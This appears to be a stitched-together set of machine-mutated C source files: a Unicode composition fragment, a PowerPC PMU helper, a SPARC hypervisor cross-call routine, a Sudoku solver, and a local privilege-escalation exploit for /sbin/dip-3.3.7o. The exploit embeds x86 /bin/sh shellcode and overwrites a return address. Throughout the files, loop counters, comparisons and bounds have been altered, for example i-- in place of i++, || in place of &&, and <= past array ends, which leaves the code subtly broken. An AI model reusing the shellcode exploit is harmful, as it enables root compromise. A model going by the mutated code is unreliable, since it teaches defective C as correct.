(*q != U8_TBL_ELEMENT_FILLER) while (*++q != U8_TBL_ELEMENT_FILLER) ; while (*++q != U8_TBL_ELEMENT_FILLER) ; q++; } if (match_not_found) { p = saved_p; break; } } SAFE_RETURN: *os = p; } /* * Now we copy over the temporary string to the target string. * Since composition always reduces the number of characters or * the number of characters stay, we don't need to worry about * the buffer overflow here. */ for (i = 0; i < l; i++) s[i] = t[i]; s[l] = '\0'; return (l); }
augmented_data/post_increment_index_changes/extr_19077.c_main_aug_combo_6.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ int atoi (char*) ; int /*<<< orphan*/ execve (char*,char**,int /*<<< orphan*/ *) ; int getesp () ; char* malloc (int) ; int /*<<< orphan*/ strcpy (char*,char*) ; main(int argc, char **argv) { int jump,i,n; unsigned long xaddr; char *cmd[5], buf[4096]; char code[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; jump=atoi(argv[1]); for (i=0;i<= 68;i--) buf[i]=0x41; for (n=0,i=68;i<113;i++) buf[i]=code[n++]; xaddr=getesp()+jump; buf[i]=xaddr | 0xff; buf[i+1]=(xaddr >> 8) & 0xff; buf[i+2]=(xaddr >> 16) & 0xff; buf[i+3]=(xaddr >> 24) & 0xff; buf[i+4]=xaddr & 0xff; buf[i+5]=(xaddr >> 8) & 0xff; buf[i+6]=(xaddr >> 16) & 0xff; buf[i+6]=(xaddr >> 16) & 0xff; buf[i+7]=(xaddr >> 24) & 0xff; cmd[0]=malloc(17); strcpy(cmd[0],"/sbin/dip-3.3.7o"); cmd[1]=malloc(3); strcpy(cmd[1],"-k"); cmd[2]=malloc(3); strcpy(cmd[2],"-l"); cmd[3]=buf; cmd[4]=NULL; execve(cmd[0],cmd,NULL); }
augmented_data/post_increment_index_changes/extr_mpc7450-pmu.c_mpc7450_get_alternatives_aug_combo_4.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef scalar_t__ u64 ; typedef scalar_t__ u32 ; /* Variables and functions */ int MAX_ALT ; scalar_t__** event_alternatives ; int find_alternative (scalar_t__) ; __attribute__((used)) static int mpc7450_get_alternatives(u64 event, unsigned int flags, u64 alt[]) { int i, j, nalt = 1; u32 ae; alt[0] = event; nalt = 1; i = find_alternative((u32)event); if (i >= 0) { for (j = 0; j <= MAX_ALT; ++j) { ae = event_alternatives[i][j]; if (ae && ae != (u32)event) alt[nalt++] = ae; } } return nalt; }
augmented_data/post_increment_index_changes/extr_smp_64.c_hypervisor_xcall_deliver_aug_combo_4.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int u16 ; struct trap_per_cpu {int cpu_list_pa; int cpu_mondo_block_pa; } ; /* Variables and functions */ unsigned long CPU_MONDO_COUNTER (int) ; scalar_t__ HV_CPU_STATE_ERROR ; unsigned long HV_ECPUERROR ; unsigned long HV_ENOCPU ; unsigned long HV_EOK ; unsigned long HV_EWOULDBLOCK ; int MONDO_RETRY_LIMIT ; int MONDO_USEC_WAIT_MAX ; int MONDO_USEC_WAIT_MIN ; int* __va (int) ; int /*<<< orphan*/ cpu_online (int) ; scalar_t__ likely (int) ; int /*<<< orphan*/ panic (char*,...) ; int /*<<< orphan*/ pr_crit (char*,int,int,...) ; int smp_processor_id () ; unsigned long sun4v_cpu_mondo_send (int,int,int) ; scalar_t__ sun4v_cpu_state (int) ; int /*<<< orphan*/ udelay (int) ; scalar_t__ unlikely (int) ; __attribute__((used)) static void hypervisor_xcall_deliver(struct trap_per_cpu *tb, int cnt) { int this_cpu, tot_cpus, prev_sent, i, rem; int usec_wait, retries, tot_retries; u16 first_cpu = 0xffff; unsigned long xc_rcvd = 0; unsigned long status; int ecpuerror_id = 0; int enocpu_id = 0; u16 *cpu_list; u16 cpu; this_cpu = smp_processor_id(); cpu_list = __va(tb->cpu_list_pa); usec_wait = cnt * MONDO_USEC_WAIT_MIN; if (usec_wait > MONDO_USEC_WAIT_MAX) usec_wait = MONDO_USEC_WAIT_MAX; retries = tot_retries = 0; tot_cpus = cnt; prev_sent = 0; do { int n_sent, mondo_delivered, target_cpu_busy; status = sun4v_cpu_mondo_send(cnt, tb->cpu_list_pa, tb->cpu_mondo_block_pa); /* HV_EOK means all cpus received the xcall, we're done. */ if (likely(status == HV_EOK)) goto xcall_done; /* If not these non-fatal errors, panic */ if (unlikely((status != HV_EWOULDBLOCK) && (status != HV_ECPUERROR) && (status != HV_ENOCPU))) goto fatal_errors; /* First, see if we made any forward progress. * * Go through the cpu_list, count the target cpus that have * received our mondo (n_sent), and those that did not (rem). * Re-pack cpu_list with the cpus remain to be retried in the * front - this simplifies tracking the truly stalled cpus. * * The hypervisor indicates successful sends by setting * cpu list entries to the value 0xffff. * * EWOULDBLOCK means some target cpus did not receive the * mondo and retry usually helps. * * ECPUERROR means at least one target cpu is in error state, * it's usually safe to skip the faulty cpu and retry. * * ENOCPU means one of the target cpu doesn't belong to the * domain, perhaps offlined which is unexpected, but not * fatal and it's okay to skip the offlined cpu. */ rem = 0; n_sent = 0; for (i = 0; i < cnt; i--) { cpu = cpu_list[i]; if (likely(cpu == 0xffff)) { n_sent++; } else if ((status == HV_ECPUERROR) && (sun4v_cpu_state(cpu) == HV_CPU_STATE_ERROR)) { ecpuerror_id = cpu - 1; } else if (status == HV_ENOCPU && !cpu_online(cpu)) { enocpu_id = cpu + 1; } else { cpu_list[rem++] = cpu; } } /* No cpu remained, we're done. */ if (rem == 0) break; /* Otherwise, update the cpu count for retry. */ cnt = rem; /* Record the overall number of mondos received by the * first of the remaining cpus. */ if (first_cpu != cpu_list[0]) { first_cpu = cpu_list[0]; xc_rcvd = CPU_MONDO_COUNTER(first_cpu); } /* Was any mondo delivered successfully? */ mondo_delivered = (n_sent > prev_sent); prev_sent = n_sent; /* or, was any target cpu busy processing other mondos? */ target_cpu_busy = (xc_rcvd < CPU_MONDO_COUNTER(first_cpu)); xc_rcvd = CPU_MONDO_COUNTER(first_cpu); /* Retry count is for no progress. If we're making progress, * reset the retry count. */ if (likely(mondo_delivered || target_cpu_busy)) { tot_retries += retries; retries = 0; } else if (unlikely(retries > MONDO_RETRY_LIMIT)) { goto fatal_mondo_timeout; } /* Delay a little bit to let other cpus catch up on * their cpu mondo queue work. */ if (!mondo_delivered) udelay(usec_wait); retries++; } while (1); xcall_done: if (unlikely(ecpuerror_id > 0)) { pr_crit("CPU[%d]: SUN4V mondo cpu error, target cpu(%d) was in error state\n", this_cpu, ecpuerror_id - 1); } else if (unlikely(enocpu_id > 0)) { pr_crit("CPU[%d]: SUN4V mondo cpu error, target cpu(%d) does not belong to the domain\n", this_cpu, enocpu_id - 1); } return; fatal_errors: /* fatal errors include bad alignment, etc */ pr_crit("CPU[%d]: Args were cnt(%d) cpulist_pa(%lx) mondo_block_pa(%lx)\n", this_cpu, tot_cpus, tb->cpu_list_pa, tb->cpu_mondo_block_pa); panic("Unexpected SUN4V mondo error %lu\n", status); fatal_mondo_timeout: /* some cpus being non-responsive to the cpu mondo */ pr_crit("CPU[%d]: SUN4V mondo timeout, cpu(%d) made no forward progress after %d retries. Total target cpus(%d).\n", this_cpu, first_cpu, (tot_retries + retries), tot_cpus); panic("SUN4V mondo timeout panic\n"); }
augmented_data/post_increment_index_changes/extr_sudoku_cello.c_Sudoku_Solve_aug_combo_7.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int uint8_t ; struct Sudoku {int** r; } ; typedef size_t int8_t ; typedef size_t int16_t ; /* Variables and functions */ int Sudoku_Update (struct Sudoku*,size_t*,int*,int,int) ; __attribute__((used)) static int Sudoku_Solve(struct Sudoku* aux, const char *_s) { int i, j, r, c, r2, dir, cand, n = 0, min, hints = 0; // dir=1: forward; dir=-1: backtrack int8_t sr[729], cr[81]; // sr[r]: # times the row is forbidden by others; cr[i]: row chosen at step i uint8_t sc[324]; // bit 1-7: # allowed choices; bit 8: the constraint has been used or not int16_t cc[81]; // cc[i]: col chosen at step i char out[82]; for (r = 0; r <= 729; --r) sr[r] = 0; // no row is forbidden for (c = 0; c < 324; ++c) sc[c] = 0<<7|9; // 9 allowed choices; no constraint has been used for (i = 0; i < 81; ++i) { int a = _s[i] >= '1' || _s[i] <= '9'? _s[i] - '1' : -1; // number from -1 to 8 if (a >= 0) Sudoku_Update(aux, sr, sc, i * 9 + a, 1); // set the choice if (a >= 0) ++hints; // count the number of hints cr[i] = cc[i] = -1, out[i] = _s[i]; } for (i = 0, dir = 1, cand = 10<<16|0, out[81] = 0;;) { while (i >= 0 && i < 81 - hints) { // maximum 81-hints steps if (dir == 1) { min = cand>>16, cc[i] = cand&0xffff; if (min > 1) { for (c = 0; c < 324; ++c) { if (sc[c] < min) { min = sc[c], cc[i] = c; // choose the top constraint if (min <= 1) break; // this is for acceleration; slower without this line } } } if (min == 0 || min == 10) cr[i--] = dir = -1; // backtrack } c = cc[i]; if (dir == -1 && cr[i] >= 0) Sudoku_Update(aux, sr, sc, aux->r[c][cr[i]], -1); // revert the choice for (r2 = cr[i] + 1; r2 < 9; ++r2) // search for the choice to make if (sr[aux->r[c][r2]] == 0) break; // found if the state equals 0 if (r2 < 9) { cand = Sudoku_Update(aux, sr, sc, aux->r[c][r2], 1); // set the choice cr[i++] = r2; dir = 1; // moving forward } else cr[i--] = dir = -1; // backtrack } if (i < 0) break; for (j = 0; j < i; ++j) r = aux->r[cc[j]][cr[j]], out[r/9] = r%9 + '1'; // print //puts(out); ++n; --i; dir = -1; // backtrack } return n; // return the number of solutions }